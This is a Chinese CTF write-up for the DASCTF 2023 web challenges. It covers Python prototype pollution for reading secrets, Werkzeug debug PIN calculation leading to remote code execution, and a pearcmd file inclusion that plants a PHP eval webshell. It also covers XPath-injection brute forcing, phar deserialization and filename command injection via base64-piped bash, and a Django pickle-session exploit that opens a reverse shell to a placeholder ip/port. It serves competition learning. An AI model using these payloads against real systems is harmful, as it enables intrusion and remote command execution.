[DASCTF 2023 & 0X401七月暑期挑战赛] Web方向部分题 详细Writeup

EzFlask

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

代码解释:

  1. 导入所需模块:
  • uuid:用于生成Flask应用程序的随机密钥。
  • Flaskrequestsession来自flask包:这些模块用于创建Web应用程序、处理HTTP请求和管理用户会话。
  • secret中的black_list:假设black_list包含敏感词汇列表。
  1. 设置Flask应用程序和密钥:
  • 创建一个Flask应用程序对象,并为其设置一个随机生成的密钥,这个密钥用于保护会话数据的安全性。
  1. 定义一些辅助函数:
  • check(data): 用于检查传入的数据是否包含在black_list敏感词汇列表中。
  • merge(src, dst): 用于合并两个字典对象,将src字典中的内容合并到dst字典中。
  1. 定义一个user类:
  • 该类包含了usernamepassword属性,并有一个check方法,用于检查用户输入的数据是否与当前实例的用户名和密码匹配。
  1. 创建一个空的Users列表,用于存储注册的用户信息。
  2. 定义了三个路由(route):
  • /register:处理用户注册的POST请求。
  • /login:处理用户登录的POST请求。
  • /:处理GET请求,用于显示当前代码文件的内容。
  1. /register路由的处理函数:
  • 从POST请求中获取数据,并检查是否包含在敏感词汇列表中。若存在敏感词汇,则注册失败。
  • 将接收到的数据转换为JSON格式,并确保数据中包含usernamepassword字段,否则注册失败。
  • 创建一个新的user对象,并将请求中的数据合并到该对象中。
  • 将该用户对象添加到Users列表中,完成注册。
  1. /login路由的处理函数:
  • 从POST请求中获取数据,并确保数据中包含usernamepassword字段。
  • 遍历Users列表中的用户对象,使用user.check(data)方法检查用户输入的数据是否与任何已注册用户的用户名和密码匹配。
  • 若匹配成功,则将username存储到会话(session)中,并返回"Login Success",表示登录成功。
  1. /路由的处理函数:
  • 处理GET请求,将当前代码文件的内容返回给请求者。

这道题现学Python原型链污染

具体可看Article_kelp师傅:Python原型链污染变体(prototype-pollution-in-python)

有两种非预期解

第一种,通过file属性直接读取环境变量

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。

因为__init__被ban了,所以可以利用全局变量直接使file为存储环境变量的文件

payload:

{
    
    
	"username":"aaa",
	"password":"bbb",
	"__class__":{
    
    
        "check":{
    
    
            "__globals__":{
    
    
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

image-20230726152939436

通过/路由可以看出,该路由直接通过__file__属性来读取文件并进行输出,所以直接访问就可以了

image-20230726153327774

第二种,static静态目录污染

_static_url_path

这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

所以我们可以直接构造payload来进行污染,题目过滤掉了__init__,但是check之后经历了一次json.loads,而且json识别unicode,所以我们可以通过Unicode编码进行绕过,payload:

{
    
    
    "__init\u005f_":{
    
    
        "__globals__":{
    
    
            "app":{
    
    
                "_static_folder":"/"
            }
        }
    },
	"username":1,
	"password":1
}

该payload出自Boogipop师傅:DASCTF 2023 & 0X401 Web WriteUp

构造之后_static_folder的值就变成根目录了

image-20230726144104289

然后可以读取环境变量来得到flag

image-20230726144536589

预期解:

题目是开启了flask的debug模式,访问console控制台,然后配合任意文件读取来计算PIN码,最后进行RCE

利用脚本来计算PIN码

PIN码生成六要素

  • username:可以在任意文件读取下读取/etc/password进行猜测
  • modname:默认是flask.app
  • appname:默认是Flask
  • moddir flask库下app.py绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  • uuidnode mac地址的十进制:任意文件读取/sys/class/net/the0/address
  • machine_id:机器码

关于machine_id

如果能任意文件读尝试去读取/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py

上面的python版本可以通过报错拿到,去找里面的get_machine-id方法

image-20230726163821678

可以知道/etc/machine-id/proc/sys/kernel/random/boot_id只要读取到其中一个就break的

然后继续拼接上/proc/self/cgroup下正则匹配到的值

所以我们可以知道machine_id是两个值拼接的

我们在使用脚本时就要获取这六个值才可以正确计算PIN码

回到该题,先获得username,利用原型链污染,使__file__/etc/passwd

image-20230726164156494

然后访问/路由,得到usernameroot

image-20230726164225397

modnameappname都是默认,接下来获取app.py的绝对路径,可以通过污染,使/路由指向一个不存在的界面,就可以进入到报错界面

image-20230726165615710

然后通过url再进行访问就可以进入到报错界面,然后得到绝对路径/usr/local/lib/python3.10/site-packages/flask/app.py

image-20230726165737035

接下来去找uuidnode,通过任意文件来读取/sys/class/net/eth0/address

image-20230726170130155

但是这是十六进制,我们需要把它转化为十进制

image-20230726170359635

得到uuidnode173855817367817,最后去拿到machine_id就可以计算pin码了

正如所说机器码是由两部分拼接的一部分是/etc/machine-id/proc/sys/kernel/random/boot_id其中一个,另一部分是/proc/self/cgroup路径下的值

挨个读取,这里读取的是/etc/machine-id/proc/self/cgroup

image-20230726170832947

image-20230726170857198

前半部分已经拿到96cec10d3d9307792745ec3b85c89620,接下来去拿后半部分,通过任意文件读取/proc/self/cgroup

image-20230726171111437

image-20230726171127307

这样就拿到后半部分了,docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

总结一下,六个条件就是

  • username:root
  • modname:flask.app
  • appname:Flask
  • moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
  • uuidnode:173855817367817
  • machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

下面是算PIN码的脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'root', 		#username
    'flask.app',	#modname
    'Flask',		#appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py' 	#moddir
]

private_bits = [
    '173855817367817', #uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{
      
      h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{
      
      int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

运行得到结果678-582-683

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hcs9y0kN-1691317008893)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20230726172309573.png)]

然后访问console路由进入到flask自带的debug

image-20230726172627697

输入我们计算出来的PIN码进入控制台,进行RCE

image-20230726173233568

ez_cms

这题折磨了我一整个比赛,受不了一点

考察的是pearcmd.php本地文件包含,和NSSRound #8的MyPage点是一样的

[NSSCTF Round #8]——web专项赛wp

/admin路由存在后台,弱口令可以登陆,账号admin,密码123456

image-20230725192615856

我们要对pearcmd.php文件进行调用,然后利用pear命令

构造payload:

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php

image-20230725194559615

然后利用创建的1.php进行RCE,可以用蚁剑连接,URL

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?r=?r=../../../../../../../../tmp/1

image-20230725194723999

flag在根目录下,或者进行rce

cmd=system("ls /");

image-20230725194932784

得到flag

cmd=system("cat /f*");

image-20230725195128438

这道还存在SQL注入XSS任意文件下载。如果知道flag文件名可以直接下载flag

MyPicDisk

dirsearch扫了一下什么也没有,burp抓包也得不到什么信息

image-20230727173301737

存在登录界面,试试万能密码,但是用户名需要是admin

image-20230727173546156

有点奇怪,虽然能登录上去了但是不太理解

image-20230727181159246

但是可以通过上面的请求头看出,是可以发送xml数据包,所以可以选择进行XXE盲注然后得到密码

这里用脚本跑一下跑出密码

import requests
import time
url ='http://bc385a83-ddb5-4347-920d-19c0e0e4fac0.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
    
    
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        #print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

得到密码:003d7628772d6b57fec5f30ccbc82be1,然后md5解密一下得到密码15035371139,账号是admin,然后登录

登陆之后界面如下

image-20230728151728992

可以看到有hint,/y0u_cant_find_1t.zip,现在解压后得到/index.php的源码

<?php
session_start();
error_reporting(0);
class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        if (preg_match("/\//i", $filename)){
    
    
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
    
    
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
    
    
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
    
    
        system("ls -all ".$this->filename);
    }
}
?>
<?php
if (!isset($_SESSION['user'])){
    
    
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    
    
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{
      
      $username}' and password='{
      
      $password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
    
    
      echo '登录失败';
    }else{
    
    
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    
    
    if ($_SESSION['user'] !== 'admin') {
    
    
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    
    
    foreach (scandir(".") as $filename) {
    
    
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
    
    
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
    
    
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
    
    
        die('failed');
      }
    }
  }
  else{
    
    
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
    
    
          echo md5_file($filename);
      }
      else {
    
    
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
    
    
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
    
    
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
    
    
              $file->show();
          }
      }
  }
}
?>

代码解释:

  1. 首先,代码开启了Session会话,并设置错误报告级别为0(即不显示错误信息)。
  2. 接下来,定义了一个名为FILE的类,用于处理图片文件的相关操作。这个类有以下成员属性和方法:
  • 属性:
    • filename: 存储图片文件名。
    • lasttime: 存储图片文件的最后修改时间。
    • size: 存储图片文件的大小。
  • 方法:
    • __construct(): 构造函数,用于初始化对象。它会进行一些安全性检查,比如检查文件名是否包含斜杠(/),是否包含多个点(.),以及是否是一个有效的文件。如果不满足条件,会抛出Error异常。
    • remove(): 删除图片文件的方法,使用unlink()函数。
    • show(): 显示图片信息的方法,输出文件名、最后修改时间和大小。
    • __destruct(): 析构函数,在对象销毁时会执行,这里使用system()函数执行了一个命令ls -all,显示了图片文件的详细信息。
  1. 然后,代码检查用户是否已经登录(通过Session判断)。如果没有登录,则显示登录表单,并验证用户的登录信息,信息验证使用了一个XML文件secret.xml。如果验证成功,则将用户名存入Session,并跳转到/index.php页面。
  2. 如果用户已登录,且为管理员账户(用户名为"admin"),则显示上传图片的功能,以及当前目录下的所有图片文件列表。用户可以点击图片文件的链接进行操作,支持"remove"(删除图片)和"show"(显示图片信息)。还支持"md5"参数,用于显示图片文件的MD5哈希值。
  3. 图片上传的功能使用了<form>标签和enctype="multipart/form-data"属性,当用户上传图片时,代码会检查文件类型是否为jpg、jpeg、gif、png或bmp,并将图片保存在当前目录中。
  4. 代码从通过GET方式获取filetodo参数的值,这些参数是由用户点击图片链接时附带在URL中的。
  5. 如果todo的值是"md5",则执行md5_file()函数来计算指定文件的MD5哈希值,并将其输出到页面。
  6. 否则,根据todo的值创建一个FILE对象来处理图片文件。这里的FILE类之前已经定义过,用于处理图片文件的基本操作。
  7. 如果todo的值不是"remove"和"show",则表示用户点击了图片文件的链接,代码会输出图片的预览和两个链接:一个用于删除图片(todo=remove),另一个用于显示图片信息(todo=show)。
  8. 如果todo的值是"remove",则调用$file->remove()方法来删除图片文件,并通过JavaScript弹出提示框,然后重定向到主页/index.php
  9. 如果todo的值是"show",则调用$file->show()方法来显示图片的详细信息。

源码部分有三处关键点

  1. 文件上传处对文件名有类型校验

  2. FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验

  3. 当传入的todo参数为md5时,会调用md5_file 函数

    image-20230728164015702

方法一:

通过md5_file作为phar反序列化的入口来打,而对于FILE里对于filename参数的黑名单,这里采用base64编码+输出流重定向绕过

对于不是XXE盲注得到密码登录而是通过万能密码登入的话,由于登录的账户不是admin,每执行一次操作,session就会销毁一次,所以在每次操作之前,都要把登录的包重新发一遍,重置session

用来生成phar包的脚本如下,生成之后把后缀改成jpg上传

<?php
class FILE{
    
    
    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
    #这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
    public $lasttime;
    public $size;
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
}

#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

该脚本生成的文件作用就是将执行命令后得到的文件内容输出到4.txt里去,可以视情况修改

方法二:

这个方法就是不通过base64,直接通过phar反序列化生成一个可执行命令的文件然后将结果输出到回显界面

生成phar包的脚本如下

<?php

class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        $this->filename = $filename;
    }
}

$a = new FILE("/;ls /");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering()
?>

上传我们生成的文件,通过burp抓包使文件后缀名变为.jpg

image-20230728163015508

然后通过phar协议进行访问,payload:

http://3867c331-be50-486e-911f-5384704761cf.node4.buuoj.cn:81/index.php/?file=phar://1.jpg&todo=md5

image-20230728163237845

可以看到已经成功扫描根目录了,flag在adjaskdhnask_flag_is_here_dakjdnmsakjnfksd文件中,修改上面脚本的内容重新生成一个phar文件,命令是cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd就可以读取flag

image-20230728165025078

image-20230728165046018

方法三:

命令拼贴注入

只需要在上传的文件名进行字符串拼贴即可。但是由于filename的黑名单,所以我们需要经过base64编码

这里靶机一直打不开,每日一骂BUU

靶机好了,上传文件然后抓包,将文件名改为;echo bHMgLw==|base64 -d|bash;test.png

image-20230804152205699

然后去访问该文件,可以看到成功回显扫描目录的结果

image-20230804152244203

修改命令,使base命令为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,payload:

filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png"

访问后得到flag

image-20230804153333752

ez_py

题目直接给了我们源码

重要的就是setting.py

"""
Django settings for openlug project.

Generated by 'django-admin startproject' using Django 2.2.5.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ["*"]


# Application definition

INSTALLED_APPS = [
    # 'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'app'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # we're going to be RESTful in the future,
    # to prevent inconvenience, just turn csrf off.
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

TEMPLATES = [
    {
    
    
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
    
    
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'openlug.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    
    
    'default': {
    
    
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-Hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'

LOGIN_URL = '/'

代码解释

这段代码是一个Django项目的设置文件(settings.py),它包含了配置项目的各种设置,如数据库连接、模板路径、国际化设置等。下面我会逐段解释这些设置的含义:

  1. 导入模块: 首先,代码导入了Python的os模块,这个模块用于处理文件路径和目录。
  2. 基本路径设置: BASE_DIR变量指定了项目的基本目录,是通过os.path.abspath(__file__)获取当前文件(settings.py)的绝对路径,然后通过两次os.path.dirname去掉文件名和最后的目录名,从而获得项目的根目录。
  3. 密钥设置: SECRET_KEY变量是一个用于加密敏感信息的秘密密钥。在生产环境中,应该保证这个密钥的保密性。
  4. 调试设置: DEBUG变量决定了是否开启调试模式。在生产环境中应该设置为False,以保证安全性。
  5. 允许的主机: ALLOWED_HOSTS变量指定了允许访问该Django项目的主机名。在这个例子中,使用["*"]表示允许任何主机访问。在实际生产环境中,应该限制允许的主机。
  6. 已安装的应用: INSTALLED_APPS列表包含了项目所使用的Django应用。在这个例子中,除了默认的一些应用外,还添加了名为app的应用。
  7. 中间件设置: MIDDLEWARE列表包含了在请求和响应之间执行的中间件。中间件用于处理请求和响应,执行一些预处理或后处理的任务。
  8. 根URL配置: ROOT_URLCONF变量指定了根URL配置文件的路径。在这个例子中,根URL配置文件为openlug.urls
  9. 会话引擎设置: SESSION_ENGINESESSION_SERIALIZER用于配置会话的存储引擎和序列化方法。
  10. 模板设置: TEMPLATES列表定义了Django模板引擎的配置。它指定了模板存放的目录、模板引擎的后端以及上下文处理器。
  11. WSGI应用程序: WSGI_APPLICATION变量指定了WSGI应用程序的路径。
  12. 数据库配置: DATABASES字典定义了数据库连接的设置。在这个例子中,使用SQLite作为默认数据库,数据库文件存放在项目的根目录中。
  13. 密码验证设置: AUTH_PASSWORD_VALIDATORS列表定义了验证用户密码的规则,包括相似性、最小长度、常见密码等。
  14. 国际化设置: LANGUAGE_CODETIME_ZONEUSE_I18NUSE_L10NUSE_TZ用于配置国际化和时区设置。
  15. 静态文件设置: STATIC_URL定义了静态文件的URL前缀,用于访问CSS、JavaScript等静态资源。
  16. 登录URL设置: LOGIN_URL指定了未登录用户尝试访问受保护页面时重定向到的URL。

通过templates目录下的urls.py可以看到有四个路由

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index_view, name='index'),
    path('login', views.login_view, name='login'),
    path('auth', views.auth_view, name='auth'),
    path('error', views.error_view, name='error')
]

auth路由的代码如下

def auth_view(request, onsuccess='/', onfail='/error'):
    username = request.POST["username"]
    password = request.POST["password"]
    user = authenticate(request, username=username, password=password)
    if user is not None:
        login(request, user)
        return redirect(onsuccess)
    else:
        return redirect(onfail)

这段代码危险的地方在此处

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
  1. ROOT_URLCONF = ‘openlug.urls’: 这个设置定义了项目的根URL配置文件的路径。在Django中,根URL配置文件负责将不同的URL路径映射到相应的视图函数或其他处理逻辑。在这个例子中,根URL配置文件位于openlug.urls,也就是项目中的openlug应用的urls.py文件。
  2. SESSION_ENGINE = ‘django.contrib.sessions.backends.signed_cookies’: 这个设置指定了Django会话的存储引擎。会话是一种在不同HTTP请求之间存储用户数据的机制。在这里,会话的存储引擎被设置为signed_cookies,意味着会话数据将被加密后存储在浏览器的Cookie中。
  3. SESSION_SERIALIZER = ‘django.contrib.sessions.serializers.PickleSerializer’: 这个设置定义了会话数据的序列化方式。在Django中,会话数据需要被序列化以便存储和传输。在这里,会话数据将使用PickleSerializer进行序列化,这是Django默认提供的一种序列化方法,它使用Python的pickle模块将数据序列化为二进制格式。

给了SECRET_KEY、SESSION_SERIALIZER为 PickleSerializer,应该就是利用session 进行pickle反序列化,应该是在auth认证的时候 会对session进行pickle.loads()

所以在这里我们可以看见SESSION_SERIALIZERPICKLE,那么就可以联想到session的pickle反序列化,而且在源代码中secret_key也已经给出

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

我们可以先构造出exp:

import urllib3

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


import subprocess
import base64

class Command(object):
    def __reduce__(self):
        return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/ip/port <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

这里一开始没有弹出来,说是生成payload时的python版本,pickle包版本等等,将版本换成了python3.5

这里一直不能成功反弹shell,也修改了python版本还是不行,放弃了

ez_timing

不复现了,难度太大了,可以去看 n03tAck team的文章


参考各位师傅的文章如下:

Article_kelp师傅:Python原型链污染变体(prototype-pollution-in-python)

这篇太强了

Boogipop师傅:DASCTF 2023 & 0X401 Web WriteUp

星盟安全团队:DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

n03tAck team:2023DASCTF&0X401 WriteUp

丨Arcueid丨师傅:关于ctf中flask算pin总结

葫芦娃42师傅:DASCTF 2023 & 0X401七月暑期挑战赛web复现

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/132133789